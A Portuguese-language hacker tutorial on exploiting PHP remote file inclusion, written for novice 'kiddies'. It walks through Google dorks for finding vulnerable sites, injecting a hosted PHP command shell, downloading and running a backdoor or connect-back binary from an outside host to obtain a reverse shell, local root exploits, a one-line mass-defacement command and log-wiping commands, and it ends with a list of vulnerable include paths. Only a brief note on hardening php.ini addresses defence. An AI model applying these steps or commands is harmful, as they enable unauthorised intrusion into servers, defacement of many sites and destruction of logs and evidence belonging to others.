Tutorial completo de php injection para iniciantes ;P
irc.phey.net --> #rsy
smartboy_@mail.com r00t_System - AFROM4N - Spofs - kieger - Mc-KiNNeY - SmartBoy_
* fins apenas de conhecimento

O mau uso deste tutorial é de
propia responsabilidade
1) Introdução
Já que muita gente pede ajuda sobre php injection, resolvi fazer
um tutorial de simples entendimento pra facilitar a vida da galera new.
Esta falha consiste em usuários incluirem scripts no codigo php da
vitima e este ser executado. Quando corretamente utilizado, que é o que
explicarei nesse tutorial, o intruso pode setar comandos ao servidor.
Boa parte do processo pode ser feito pelo próprio browser (IE,
mozilla, netscape...).
Tentarei explicar como procura, explora e corrige o bug. Espero
ser util para todos

Obs1.: Este tutorial foi feito para explicar uma das maneiras utilizadas
por pessoas para desfigurar sites mas pode ser utlizado para outros fins.
Vai da cabeça de cada um

Obs2.: No final, terão urls com os programas citados.
2) O que é o que
Vitima : Site que você irá explorar a falha de php.
String : Arquivos no site suceptiveis ao ataque.
Cmd : Script em PHP que nos possibilita digitar
comandos a serem incluidos no php.
Backdoor : Abre portas no sistema para conexão remota 'sem
autenticação'.
Connect Back : Abre uma porta especifica para conexao entre seu
pc e a vitima.
Exploit : Programa que explora certa falha num sistema.
Há vários tipos de Exploits. Aqui, iremos
tratar apenas com Local Root Exploits. (exploram
falhas localmente que levam usuários comuns a
acesso root - super-usuário -)
Shell : É um programa interpretador de comandos que
permite ao usuário iteragir com o sistema
operacional através de comandos digitados.
Telnet : Utilizaremos para conexões remotas.
Firewall : É uma barreira inteligente entre uma rede local
e a Internet, através da qual só passa tráfego
autorizado. Este tráfego é examinado pelo
firewall em tempo real e a seleção é feita de
acordo com a regra."o que não foi expressamente
permitido, é proibido"
root : Super-usuário. É o admin... tem acesso total ao
sistema.
------------------- No browser
3) Strings
Há várias strings disponíveis. Neste tutorial, irei utilizar para
exemplos uma bem simples que é " index.php?page= ". Em anexo, no final,
várias outras

4) Sintaxe
Ex.:
www.site.com /arquivo.php?data=
http://CMD/cmd.gif?&cmd= ls
^ ^ ^ ^
Vitima String CmD comando unix
P.S.: Sem os espaços.
5) Procurando site vulnerável.
Uma excelente ferramente para os kiddies, sem dúvida, é o google.
Há várias maneiras de fazer buscas por ele, dentre elas:
Obs.: A palavra 'word' q irei citar aqui é qualquer coisa que você esteja
procurando no sistema de busca.
word : Busca por sites q contenham a 'word' em qualquer
lugar da pagina.
allinurl: : Sites que contenham na url a word citada. Ex:
www.site.com/forum/word.php?id=0 .
allintitle: : Restringe sua pesquisa ao título da página.
intitle: : Parecido com o de cima, para maiores
esclarecimentos no final do tuto.
inanchor: : Busca nos links dentro co corpo dos sites. <a
href="PROCURA AQUI DENTRO">
site: : Procura sites de um determinado domínio. Ex:
site:br <- procura sites .br
link: : Sites que contenham links para um outro
determinado site. Ex: link:www.securityfocus.com
filetype: : Filtra por extensões de arquivos. Ex:
filetype:php <- procura apenas urls .php
Essas dicas devem ser uteis não apenas na busca de sites
vulneraveis, mas também nas buscas comuns para você

Utilizando a string "index.php?page=" para sites .gov -->
allinurl:index.php?page= site:gov
Fácil..
.
Você também pode usar um scanner pra tornar o processo mais
eficiente. kieger (membro do r00t_System grouP) codou um em perl:
Procura com o sistema do google, testa e imprime os vulneraveis num
arquivo. Código no final do tutorial.
6) Utilizando a CmD
6.1) Incluindo
Cmd =
http://rootsystem.100free.com/cmd/cse.gif?&cmd= (coded by Crash from datacha0s group.)
No resultado, insira a cmd na string. Ex:
www.site.com/index.php?page=http://root ... com/cmd/cse.gif?&cmd=
Não tem mistério.
6.2) A Cmd
datacha0s - PHP Command/Safemode Exploit
System Information
sysname: --> Sistema operacional rodando.
nodename: --> Nome local.
release: --> Versão do kernel.
Script Current User: --> Usuário pelo qual o script está sendo executado.
PHP Version: --> Versão do php da máquina
User Info: --> Informação do user (uid, euid, gid).
Current Path: --> Pasta atual que você está no server.
Server IP: --> Ip do servidor.
Web Server: --> Informações sobre o servidor.
[*] Command Mode Run
Command Stdout
(( aqui ficarao os resultados dos comandos ))
(( inseridos na cmd ))
Obs.: O script varia de cmd a cmd. Este é apenas um exemplo.
7) Ganhando acesso à shell
Para os próximos passos, você precisa estar na shell
(interpretador de comandos) da máquina. Para isto, explicarei duas
maneiras de tornar isto possível: Backdoor e Connect Back.
7.1) Rodando backdoor no server para conexão remota
Para rodar um backdoor, basta fazer um upload, escolher
permissões, e executá-lo.
Comando: cd /var/tmp;wget
www.site.onde.está.o.backdoor.com/backd
oor;chmod 777 backdoor;./backdoor
cd /var/tmp -> Faz a operação nesta pasta, por ser comum a
todos os usuários e devido às suas permissões.
/tmp tb serve

wget
www.(...)/backdoor -> Copia o backdoor a partir de uma url para o
site. Quando wget não funcionar, tente outros
comandos. Sintaxes:
wget
www.site.com/arquivo lynx -source
www.site.com/arquivo > arquivo
curl -o arquivo
www.site.com/arquivo GET
www.site.com/arquivo > arquivo
(...)
Após feito isso, aparecerá a seguinte mensagem:
Daemon Working...
pid = XXXXX
Isto significa que o backdoor está rodando.
Agora, basta conectar-se à shell. Como?
No Win: Iniciar -> Executar -> telnet
www.site.com porta
Onde o
www.site.com recebe o nome ou ip do site que você rodou o
backdoor e porta é a porta que o backdoor está trabalhando.
Se aparecer no telnet bash-2.05b$ ou algo parecido, é porque
funcionou! E você tem acesso à shell na máquina!
Se demorar um tempo e não cair na shell, confira o nome/ip do
server.. se estiver correto, ele está rodando Firewall. E agora?
simples, Connect Back.

7.2) Connect Back
Método muito eficiente para ganhar shell numa máquina. Ganha shell
reversamente.
Windows: Baixe o netcat para windows e no Prompt do MSDOS (na
pasta que o nc se encontra), digite: nc -vv -l -p 15 , onde 15
pode ser escolhido de acordo com sua preferência. Esta porta será a que
realizará a conexão.
Agora, voltando para o browser, na cmd digite o seguinte comando:
cd /var/tmp;wget
www.site.do.dc.com/dc;chmod 777 dc;./dc IP porta
cd /var/tmp -> Mesmo que para backdoor.
wget
www.site.do.dc.com/dc -> | | | | , mas é logico, com o
endereço da dc.
./dc IP porta -> onde IP é o SEU IP e porta é a porta
que você escolheu no netcat.
Feito isso, se ocorrer tudo certo, aparecerá como resultado:
Connect Back Backdoor
[*] Dumping Arguments
[*] Resolving Host Name
[*] Connecting...
[*] Spawning Shell
[*] Detached
Isto significa que você se conectou na shell!

Agora, vá para o
MSDOS e vamos para o próximo passo.
Se aparecer
Connect Back Backdoor
[*] Dumping Arguments
[*] Resolving Host Name
[*] Connecting...
[-] Unable to Connect
confira os dados (seu ip, porta, netcat, etc). Se insistir, sua
rede não aceita este tipo de conexão. Tente outras portas (como 80, 22,
15, etc).
---------------------------------- Na Shell
8) Comandos básicos
Eu ia passar direto nessa parte, mas sei que muitos não conhecem
os comandos unix. Então vamos conhecer alguns:
ls -> Lista arquivos. Pode ser combinado com -a (mostra
ocultos) e -l (mostra detalhadamente). Ex: ls -la
(mostra detalhadamente os arquivos, inclusive ocultos).
uname -a -> Mostra informações do sistema, como versão do kernel,
nome, e outras coisas uteis.
id -> Mostra sua id.
w -> Lista os usuários logados no momento.
cp -> Copia arquivos. Sintaxe: cp arquivo /destino/
mv -> Move arquivos. Sintexe: mv arquivo /destino/
rm -> Remove arquivos. Se combinado com -rf , remove todos
os arquivos setados, inclusive pastas
mkdir -> Cria diretorio
rmdir -> Exclui diretorio
find -> Procura por arquivos/pastas. Ex: " find /etc -name
httpd.conf " procura pelo httpd.conf na pasta /etc
pwd -> Mostra em que pasta você está localizado
cat -> Exibe o conteúdo de um arquivo na tela
head -> Exibe linhas do início do arquivo
tail -> || || || final do arquivo
ctrl+c -> Sai/killa um programa
ctrl+r -> Busca comando digitado no history do bash
ps -auxw -> Lista todos os processos do sistema
netstat -na -> Status da conexão
kill -9 -> Mata processo. Sintaxe: kill -9 PID DO PROCESSO
kill -HUP -> Reinicia processo. Sintaxe: kill -HUP ID DO PROCESSO
pico -> Editor de texto. Sintaxe: pico arquivo
vi -> | | vi arquivo
Salvando resultados em arquivos
comando > /arquivo/onde/será/armazenado
Ex: ls /etc > /tmp/s.txt salva todo o resultado da listagem de
/etc no arquivo /tmp/s.txt
Adicionando linhas em arquivos
echo ' linha ' >> /arquivo/onde/será/incluido
Descompactando arquivos (os mais comuns)
.tar -> tar xvf arquivo.tar
.tar.gz -> tar zxvf arquivo.tar.gz
.tar.bz2 -> tar jxvf arquivo.tar.bz2
.zip -> unzip arquivo.zip
Compactando arquivos (os mais comuns)
.tar -> tar cvf destino.tar ARQUIVO
.tar.gz -> tar cvf destino.tar ARQUIVO | gzip destino.tar
.tar.bz2 -> tar cvf destino.tar ARQUIVO | bzip2 destino.tar
.zip -> zip destino.zip ARQUIVO
Bom.. procure um tutorial de linux para maiores esclarecimentos
9) Ganhando acesso root
Para ganhar acesso root localmente numa máquina, vai depender
muito. Você precisa de um exploit local e o sistema deve estar vulnerável.
Simples, basta baixar, escolher as permissões e executar.. assim
como você faz com o backdoor.. mas isto você faz na shell.
Os mais comuns no momento são mremap , brk e kmod para kernel
abaixo de 2.4.24
Se tudo ocorrer corretamente rootando a máquina, ao digitar o
comando "id" você verá
bash-2.05b# id
uid=0(root) gid=0(root)
Pronto! Você é root! Divirta-se
-------------------------------- Corrigindo o bug
10) Correção
Maneira bem simples de corrigir o bug de php é editando o arquivo
php.ini na pasta de configuração do seu apache e desabilitando as funções
system, exec, passthru, shell_exec
(...)
E, claro, sempre estar atento com novidades acesse o sindicato hacker
para manter-se atualizado

))
-------------------------------- Fun for kiddies
Bom, após ter root na máquina, pode-se fazer o que quiser

Vai
da criatividade e necessidade da pessoa.
Para kiddies, com o objetivo de pinchar os sites, vamos lá
entender como isso funciona. Melhor, vou tentar explicar como faz um mass
defacement.
11) Lista dos sites hospedados no server
Bom, para defacement, essa parte é essencial: saber quais os sites
que estão lá. Mas como?
11.1) httpd.conf
Geralmente os dados dos sites hospedados ficam neste arquivo. Para
fazer uma listagem dos sites, basta digitar um comando que irá ler o
arquivo httpd.conf e imprimir as linhas que contenham ServerName
(nome dos sites). (na pasta onde o httpd.conf se encontra)
cat httpd.conf | grep ServerName
(se estiverem neste arquivo mesmo, você pode salvar o resultado
num arquivo - preferencialmente na pasta do site que você partiu - e fazer
download)
---->
Como? Bom, na CMD, digite pwd. Você verá o local onde você
se encontra no servidor. Ex: /home/httpd/vhosts/nasa.gov/web/
Digamos que a url seja esta:
http://nasa.gov/index.php?page=CMD Então, se você jogar o resultado para /home/httpd/vhosts/nasa.gov/web
Este arquivo estará na raiz do site. Só digitar este comando:
cat httpd.conf | grep ServerName > /home/httpd/vhosts/nasa.gov/we
b/RESULTADO.txt
(apenas um exemplo)
Feito isso,
http://nasa.gov/RESULTADO.txt e baixar a lista

<----
Agora, onde está isso? GERALMENTE nas pastas /etc/httpd/conf ou
/etc/apache/conf mas varia muito e pode ser encontrado em outros
locais. Uma maneira eficaz, porem demorada, de encontrar é fazendo uma
busca completa pelo sitema. Comando:
find / -name httpd.conf
Isto imprime onde está o httpd.conf no servidor. Pode aparecer
mais que um resultado, vá testando

Só assim
11.2) Outras maneiras...
Se mesmo assim, não conseguir achar quais sites tem lá, procure
formas alternativas. Infelizmente não tem como explicar pois em cada
server há uma maneira. Exemplo:
Se na pasta onde os sites estão localizados, você listá-los e o
resultado ja tiver o nome e domínio deles: ex: ls /home/httpd/vhosts
site.com
mtv.com.br
nasa.gov
whitehouse.gov
fuckbush.org
...etc
Outras vezes, se encontram num arquivo chamado
confixxx_alguma_coisa ... não tem mágica. Vasculhe o server...
12) Fazendo o bendito o mass defacement
Bom, primeiro, crie uma index que você queira que fique no lugar
das outras. Feita ela, jogue para algum lugar que você possa fazer o
upload pro server.
Há locais gratuitos que podem ser utilizados, como o 100free.com .
Crie uma conta e jogue o index lá. Se quiser renomeá-lo pra .zip pra ficar
sem propagandas, pode também

Agora, o final: trocar todas as outras pela sua. Simples, basta um
comando para isso:
find /pasta/onde/estão/os/sites -name "index.*" -exec cp
/onde/está/sua/index.html {} \;
Para saber onde estão os sites, só pwd na cmd. Ex:
/home/httpd/vhosts/nasa.gov/web
Nota-se que todos os outros estão em /home/httpd/vhosts.
Faça o upload igual backdoor. wget
http://suaindex.com/sua.index Digamos que você fez para a pasta /tmp , então, o comando ficaria
assim:
find /home/httpd/vhosts -name "index.*" -exec cp /tmp/index.html
{} \;
Agora é só aguradar um pouco que todos os sites serão pinchados

Posts:
www.Zone-H.org 13) Apagando logs
Alguns comandos úteis para apagar logs:
rm -rf /var/log
rm -rf /var/adm
rm -rf /var/apache/log
rm -rf $HISTFILE
find / -name .bash_history -exec rm -rf {} \;
find / -name .bash_logout -exec rm -rf {} \;
find / -name log* -exec rm -rf {} \;
find / -name *.log -exec rm -rf {} \;
-------------------------------- FiM hahaehiaueuihae
Pronto, acho que é só isso.. Qualquer erro, só dizer pra que
eu possa corrigir

Greetz --> s4r4d0, magopoka, believe ^^
-------------------------------- Strings comuns
./modules/mod_mainmenu.php?mosConfig_absolute_path=
./include/new-visitor.inc.php?lvc_include_dir=
./path_of_cpcommerce/_functions.php?prefix
./modules/My_eGallery/public/displayCategory.php?basepath=
./modules/4nAlbum/public/displayCategory.php?basepath=
./modules/coppermine/themes/default/theme.php?THEME_DIR=
./modules/agendax/addevent.inc.php?agendax_path=
./shoutbox/expanded.php?conf=
./modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=
./pivot/modules/module_db.php?pivot_path=
./library/editor/editor.php?root=
./library/lib.php?root=
./e107/e107_handlers/secure_img_render.php?p=
./main.php?x=
./index.php/main.php?x=
./index.php?include=
./index.php?x=
./index.php?open=
./index.php?visualizar=
./template.php?pagina=
./index.php?pagina=
./index.php?inc=
Creditos: fatal error
Edição e correção: D1R3CT0RY H4X0R